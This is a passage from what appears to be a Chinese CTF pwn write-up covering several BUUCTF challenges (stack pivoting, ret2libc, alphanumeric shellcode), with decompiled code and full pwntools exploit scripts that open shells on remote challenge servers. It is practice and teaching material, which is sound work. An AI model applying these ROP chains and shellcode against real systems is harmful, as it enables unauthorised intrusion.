1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 unsigned __int64 __fastcall sub_CBD (const char *a1) { int i; unsigned __int64 v3; v3 = __readfsqword(0x28 u); for (i = 0 ; i < strlen (a1); ++i) { if (!isprint (a1[i]) && a1[i] != 10 ) { puts ("oh!" ); exit (-1 ); } } if (!strcmp (a1, "ro0t" )) { unk_202028 = 1 ; unk_202024 = 1 ; } else { unk_202028 = 1 ; } return __readfsqword(0x28 u) ^ v3; }
exp 1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context(os='linux' ,arch='amd64' ,log_level='debug' ) io=remote('182.92.176.248' ,1111 ) shellcode=b'Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t' payload1=b'opt:1\n' +b'msg:ro0ta\n' payload2=b'opt:2\n' +b'msg:' +shellcode+b'a\n' io.recvuntil('>>> ' ) io.sendline(payload1) io.recvuntil('>>> ' ) io.sendline(payload2) io.interactive()
buuctf_ciscn_2019_es_2 查看保护和反汇编 checksec
32位堆栈不可执行 ida main函数
1 2 3 4 5 6 7 int __cdecl main (int argc, const char **argv, const char **envp) { init(); puts ("Welcome, my friend. What's your name?" ); vul(); return 0 ; }
vul函数
1 2 3 4 5 6 7 8 9 10 int vul () { char s[40 ]; memset (s, 0 , 0x20 u); read(0 , s, 0x30 u); printf ("Hello, %s\n" , s); read(0 , s, 0x30 u); return printf ("Hello, %s\n" , s); }
两次read可以输入 虽然有溢出但是余出的长度只有八字节。 在hack中有system函数,但是只是简单的输出flag字符串
1 2 3 4 int hack () { return system("echo flag" ); }
如果能将/bin/sh作为参数调用system函数就能getshell了 这道题用栈迁移来解,栈迁移原理 寻找gadget(leave_ret)
leave_ret_addr=0x080484b8 第一次read(我的意思是输入)用来泄露ebp的地址 printf当遇到\x00时才会停止输出,将下一处的终止符覆盖就可以打印出ebp的地址,就像覆盖泄露canary一样来泄露ebp的地址 还要说的是,栈也是有地址的,后面用gdb的时候会说哪里是栈的地址
1 2 3 4 paylaod1=b'a' *0x27 +b'b' io.send(paylaod1) io.recvuntil(b'b' ) ebp_addr=u32(io.recv(4 ))
现在我们要确定s在栈上的位置,好在第二次read时对栈进行布局。 选择的是用ebp+偏移量的方法来表示s的地址 gdb调试 从其他师傅处得来的经验,选择在nop处下断点
上面的是ida的,当然也没有忘记gdb怎么用,也挺好用的
总之断点地址:0x080485fc 下断点后运行(r),第一次read时输入aaaa,终止(ctrl+c),查看栈(stack)
所说数据存储在栈上,栈也是有地址的,这个地址指向的才是数据,也有栈指向一个地址,这个地址指向数据的。 上图左侧黄颜色的就是栈的地址 计算s到ebp的偏移量
0x38字节,所以s地址:ebp-0x38 第二次paylaod的布局图(0x10=16)
payload2
1 2 3 4 5 leave_ret_addr=0x080484b8 system_addr=0x08048400 bin_sh_addr=ebp-0x38 +0x10 payload2=(b'aaaa' +p32(system_addr)+b'aaaa' +p32(bin_sh_addr)+b'/bin/sh' ).ljust(0x28 ,b'\x00' )+p32(ebp-0x38 )+p32(leave_ret_addr)
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *context(os='linux' ,arch='i386' ,log_level='debug' ) io=remote('node4.buuoj.cn' ,29270 ) leave_ret_addr=0x080484b8 system_addr=0x08048400 payload1=b'a' *0x27 +b'b' io.recvuntil('name?\n' ) io.send(payload1) io.recvuntil(b'b' ) ebp_addr=u32(io.recv(4 )) print (hex (ebp_addr))bin_sh_addr=ebp_addr-0x38 +0x10 payload2=(b'aaaa' +p32(system_addr)+b'aaaa' +p32(bin_sh_addr)+b'/bin/sh' ).ljust(0x28 ,b'\x00' )+p32(ebp_addr-0x38 )+p32(leave_ret_addr) io.sendline(payload2) io.interactive()
第六周 buuctf_[HarekazeCTF2019]baby_rop2 查看保护和反汇编 checksec
64位,堆栈不可执行 ida main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[28 ]; int v5; setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); printf ("What's your name? " ); v5 = read(0 , buf, 0x100 uLL); buf[v5 - 1 ] = 0 ; printf ("Welcome to the Pwn World again, %s!\n" , buf); return 0 ; }
查看字符串窗口,没有有用的 通过printf打印read的地址,从而泄露libc版本 关于printf函数,要两个参数,一个是’%s‘,一个是read的got表地址 %s有必要说,我们没办法自己写入,只能用题目中给的
地址
所以这次的gadget要找俩
第一个参数用rdi传,第二个用rsi,没找到只有rsi的,所以第二个用带r15的,传参的时候多随意写一个就行。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *from LibcSearcher import *context(os='linux' ,arch='amd64' ,log_level='debug' ) io=remote('node4.buuoj.cn' ,28669 ) elf=ELF('./babyrop2' ) pop_rdi_addr=0x0400733 ret_addr=0x04004d1 pop_rsi_r15_addr=0x400731 main_addr=elf.sym['main' ] read_got=elf.got['read' ] printf_plt=elf.plt['printf' ] s_addr=0x400770 payload1=b'a' *0x28 +p64(pop_rdi_addr)+p64(s_addr)+p64(pop_rsi_r15_addr)+p64(read_got)+p64(0 )+p64(printf_plt)+p64(main_addr) io.recvuntil(b'name? ' ) io.sendline(payload1) read_addr=u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) print (hex (read_addr))libc=LibcSearcher('read' ,read_addr) libcbase=read_addr-libc.dump('read' ) system_addr=libcbase+libc.dump('system' ) str_bin_sh=libcbase+libc.dump('str_bin_sh' ) payload2=b'a' *0x28 +p64(pop_rdi_addr)+p64(str_bin_sh)+p64(system_addr) io.recvuntil(b'name? ' ) io.sendline(payload2) io.interactive()
接收read地址那里,不是很明白,不明白在为什么是’\x7f’而不是换行符, ‘\x7f’是不可见字符,对应的ASCII是删除字符 后面的[:-6]是因为有效地址是6位(puts是这样的,所以认为read也是这样),在将其补全至8位解包
buuctf_jarvisoj_level3 保护+ida checksec
32位,堆栈不可执行 ida main函数
1 2 3 4 5 6 int __cdecl main (int argc, const char **argv, const char **envp) { vulnerable_function(); write(1 , "Hello, World!\n" , 0xE u); return 0 ; }
vulnerable_function
1 2 3 4 5 6 7 ssize_t vulnerable_function () { char buf[136 ]; write(1 , "Input:\n" , 7u ); return read(0 , buf, 0x100 u); }
字符串窗口没有后门 ret2ibc,没有弯弯绕
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *from LibcSearcher import *context(os='linux' ,arch='i386' ,log_level='debug' ) io=remote('node4.buuoj.cn' ,27993 ) elf=ELF('./level3' ) main_addr=elf.sym['main' ] write_got=elf.got['write' ] write_plt=elf.plt['write' ] payload1=b'a' *0x8c +p32(write_plt)+p32(main_addr)+p32(1 )+p32(write_got)+p32(4 ) io.recvuntil(b'Input:\n' ) io.sendline(payload1) write_addr=u32(io.recv(4 )) print (hex (write_addr))libc=ELF('./libc-2.23.so' ) libcbase=write_addr-libc.sym['write' ] system_addr=libcbase+libc.sym['system' ] str_bin_sh=libcbase+next (libc.search(b"/bin/sh" )) payload2=b'a' *0x8c +p32(system_addr)+p32(0 )+p32(str_bin_sh) io.recvuntil(b'Input:\n' ) io.sendline(payload2) io.interactive()